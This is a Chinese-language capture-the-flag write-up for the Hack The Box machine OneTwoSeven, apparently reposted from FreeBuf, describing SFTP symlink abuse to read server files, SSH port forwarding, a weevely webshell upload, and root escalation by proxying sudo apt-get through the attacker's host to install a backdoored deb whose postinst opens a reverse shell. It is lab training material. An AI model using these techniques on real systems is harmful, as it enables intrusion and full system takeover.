渗透测试 | HTB-OneTwoSeven实战 – 作者:Setup

v2-29a2c0fc3c187e2191f0747884d3cc1f_1440

——————   昨日回顾  ——————  

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)

渗透测试 | HTB-Bitlab实战

0 (1).jpeg

—————— —————— —————

01     

Hack the box Onetwoseven write up

由于之前没有玩过这种类型的靶机,因此踩了很多坑,花了几天时间,终于拿到root权限

02     

环境kali+openvpn   

本机ip: 10.10.14.37  靶机ip:10.10.10.133

image.png

测试连通性

image.png

Nmap 查看开放端口

image.png

只开了80和22 那么就从80端口入手吧。记录信息:apache+linux

主页面302跳转到index.php查看源代码得到以下信息

Only enable link if access from trusted networks admin/20190212

Added localhost admin/20190214    <li><a id=”adminlink” class=”nav-link disabled” href=”http://onetwoseven.htb:60080/”>Admin</a></li>

不知道有啥用,先留着吧

继续翻阅,发现index.php stats.php和signup.php

注册得到一个账号和密码以及一个很奇怪的url和一个sftp链接。

Username: ots-hYWQ0MmI

Password: deaad42b

http://onetwoseven.htb/~ots-hYWQ0MmI

sftp://onetwoseven.htb

嗯~ 应该要从sftp入手这里我尝试了很多种密码组合账号包括admin Admin ots-hYWQ0MmI

密码包括20190214 20190212 admin等等 最后发现只有他给我们的那个账号可以登录sftp

里面存在一个public_html文件夹,文件夹里有个index.html文件,我尝试一些命令新建了一个test的文件夹

image.png

首先我想到的是sftp的漏洞,google百度搜索了一波发现都是6点几的版本 而我们是7.4

接着我查找sftp的使用方法 help

image.png

有些是在本机上执行,有些是sftp命令 put和get引起了我的注意 我先把index.html下载了下来,并没有发现什么有用的线索但是我找到了这个目录

/dist/img/abstract-architecture-attractive-988873.jpg

我尝试直接访问他的根目录,可以看到部分文件,但是没有敏感文件

image.png

尝试put上传 服务器对php进行了过滤,只要后缀是php的统统forbidden

Php3 php5 php7 phtml .htaccess 00截断全都无果 应该是思路有问题

搜了很久,在论坛看到一个这样的提示

image.png

Link 仔细看看help命令,ln -s 创建软链接 大概的意思就是把原主机上的一些文件链接干过来,而我们可以通过这个软链接访问到一些文件

一开始尝试很多姿势都没成功,后来发现需要进入到这个public_html里面

image.png

接着我们去访问www

image.png

一个一个点进去 全都403了 html里面会自动跳转到我们的页面只有html-admin可以进去

image.png

将swp文件下载下来 用vim -r 修复失败  提示不是此用户

……懵了  不管了用notepad++打开看看 调整下可以看到部分代码,但是好像是admin的

image.png

这里又卡了好久

后来我想着把index.php链接过来看看,看看里面会不会有些什么东西

image.png

成功了,过去看看有啥

果然在页面源代码发现了一些之前看不到的代码

image.png

前面不是还有两个php文件吗,也给他软链接过来看看有啥,最后在signup.php发现这个

image.png

这不就是我们的密码和用户名的构造吗,通过ip来构造的

image.png

同时我发现种种迹象都指向了127.0.0.1 那我们看下这个用户名经过加密后的username和password

image.png

很好,我们成功得到了127.0.0.1的用户的账号和密码

ots-yODc2NGQ

f528764d

那么在哪儿可以看到其他的用户? 

没错 就是/etc/passwd 我尝试将这个文件也软链接过来

Nice 成功读到这个文件,而且可以看到username和我们构造的一样,还有一些其他的用户

image.png

用sftp登录到ots-yODc2NGQ这个用户

image.png

拿到user.txt

image.png

我用同样的方法将www目录链接到这个用户上看看有没有新发现,并没有发现什么有用的,这时思绪卡了,我将我搜集的信息整理了下

image.png

60080这个端口应该是只有本地可以访问的,且为登录页面

账号是ots-admin 密码拿到在线网站破解一下为Homesweethome1

image.png

那我们现在要做的就是通过ssh将60080端口转发出来

ssh -L 60080:127.0.0.1:60080 

-Nf [email protected]

image.png

访问本地的60080端口

image.png

用我们刚刚得到的账号和密码登录进去 发现上传点和疑似可以文件包含的地方

image.png

并不能利用 查看源代码看到他叫 addon-upload.php,且他是通过js过滤提交按钮

image.png

image.png

尝试上传一个weevely后门试试

image.png

报404notfound……  再看看源码

发现很多源码可以被下载下来

image.png

每个都看过去之后我看到了这个ots-man-addon.php文件,这个文件有两个部分,一个是上传一个是下载,并且他是通过以下代码来进行控制的只需要uri里面包含就可以调用下面的功能..

case preg_match

(‘/\/addondownload.php/’,$_SERVER[‘REQUEST_URI’]):

image.pngimage.png

那我们修改上面的请求包

image.png

还是没找到…..懵逼,继续看代码,发现了这几句

image.png

重写 意思就是把原本ots-man-addon.php中的两个功能重写到upload和download里面

然后自己写一个.htaccess让不希望访问到的网页变成404

猜想他直接没有拆分功能,把ots-man-addon.php全部写到了download里面

构造请求包

image.png

成功了!!现在我们只要知道路径就可以连weevely了

找了很久,发现menu.php?addon=addons/ots-fs-backup.php 都在addons后面

访问这个路径得到 看到了我们的1.php

image.png

我们拿weevely连一下

image.png

成功拿到www权限

image.png

找了一圈没有发现flag 估计还要提权..

那怎么进行提权呢?

百度,google搜了一大堆 发现很多都是exp提权,sudo提权啥的,这里应该是不存在exp的

于是尝试从sudo入手

sudo  -l

image.png

第一部分像转发流量的

第二部分的意思是说你可以不用通过密码就可以执行apt-get的update命令和upgrade命令

把第二部分扔到谷歌

搜到这么一篇文章

https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/

利用-o -c可以直接到系统权限

image.png

额,看来没这么简单

我们执行一下update和upgrade吧

image.png

这里可以看到有个很特别的源

packages.onetwoseven.htb

与此同时我搜到这么一个网站

https://versprite.com/blog/apt-mitm-package-injection/

中间人攻击,我们可以自定义一个backdooring deb的包,让其下载并且更新从而执行我们内嵌好的bash命令

那么怎么让受害者从我们的电脑上下载东西到他的电脑上呢?

apt-update和http_proxy

我们可以把受害者的流量转到我们的端口上

然后在自己/etc/hosts里面添加一条规则 配置packages.onetwoseven.htb 定向到127.0.0.1 这样那边执行update就会从我们的机器上下载

image.png

这里需要用到proxy.py

image.png

也可以直接下载

https://github.com/abhinavsingh/proxy.py

因为提权中间花了很长时间  所以ip也变了 现在是

image.pngimage.png

监听6666端口  同时在靶机上设置http的出口到我们ip

这里用weevely的后门export http_proxy全局变量是不成功的

所以我干脆重新上了一个马结合python把命令弹过来

image.png

然后

export http_proxy=”http://10.10.15.101:6666″

image.png

我们可以用apt-get尝试一下

image.pngimage.png

可以看到连接是成功了的

那么现在就是构造恶意的deb包了

可以看到他每次都请求了

/devuan/dists/ascii/main/binary-amd64/目录下的Packages

image.png

根据这个

https://versprite.com/blog/apt-mitm-package-injection/

image.png

没有samba包 我们随便选一个

image.png

Kmod包 先去官网下载一个

image.png

下载下来解包

image.pngimage.png

编辑control文件使其为高版本

image.png

编辑postinst文件使其为我们的后门命令

image.png

打包生成后门deb文件

image.png

然后就是Packages文件了我们可以先去官网下载标准的

http://kali.download/kali/dists/kali-rolling/main/binary-amd64/Packages

然后抄下来放到自己网站根目录的

/devuan/dists/ascii/main/binary-amd64/下面

把安装包放/var/www/html/devuan/下面

由于其基于http协议所以肯定要打开apache服务的

image.png

接下来在本机监听8888端口,在受害机上执行update和upgrade即可

sudo /usr/bin/apt-get update

sudo /usr/bin/apt-get upgrade

这里也琢磨了一天,因为他连接特别不稳定 所以下载的很慢很慢…..

一度以为是我的包和Packages写错了

后来我换了一个包 用sed这个 同时不是在官网抄的Packages

而是利用了dpkg-scanpackages debs/ >Packages这条命令去写Packages

image.pngimage.pngimage.png

这是配置文件相关设置,放到相应的路径后

进行update和upgrade

image.png

然后就出来了这个,我意识到他我的sed文件以及被他读取到了

但是这个连接还是非常非常的不稳定…

可能是因为多层代理的问题 我一共下了20多次才下下来,然后在安装的时候

image.png

成功执行了我们写入的bash命令

image.png

监听端口也有了反应,得到了对方的cmd

image.png

读取flag为2d380a25a8e3bfc095abd9e691841048

真不容易啊…..

banner.jpg

海量安全课程   点击以下链接   即可观看 

http://qiyuanxuetang.net/courses/

来源:freebuf.com 2020-03-30 09:56:54 by: Setup

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论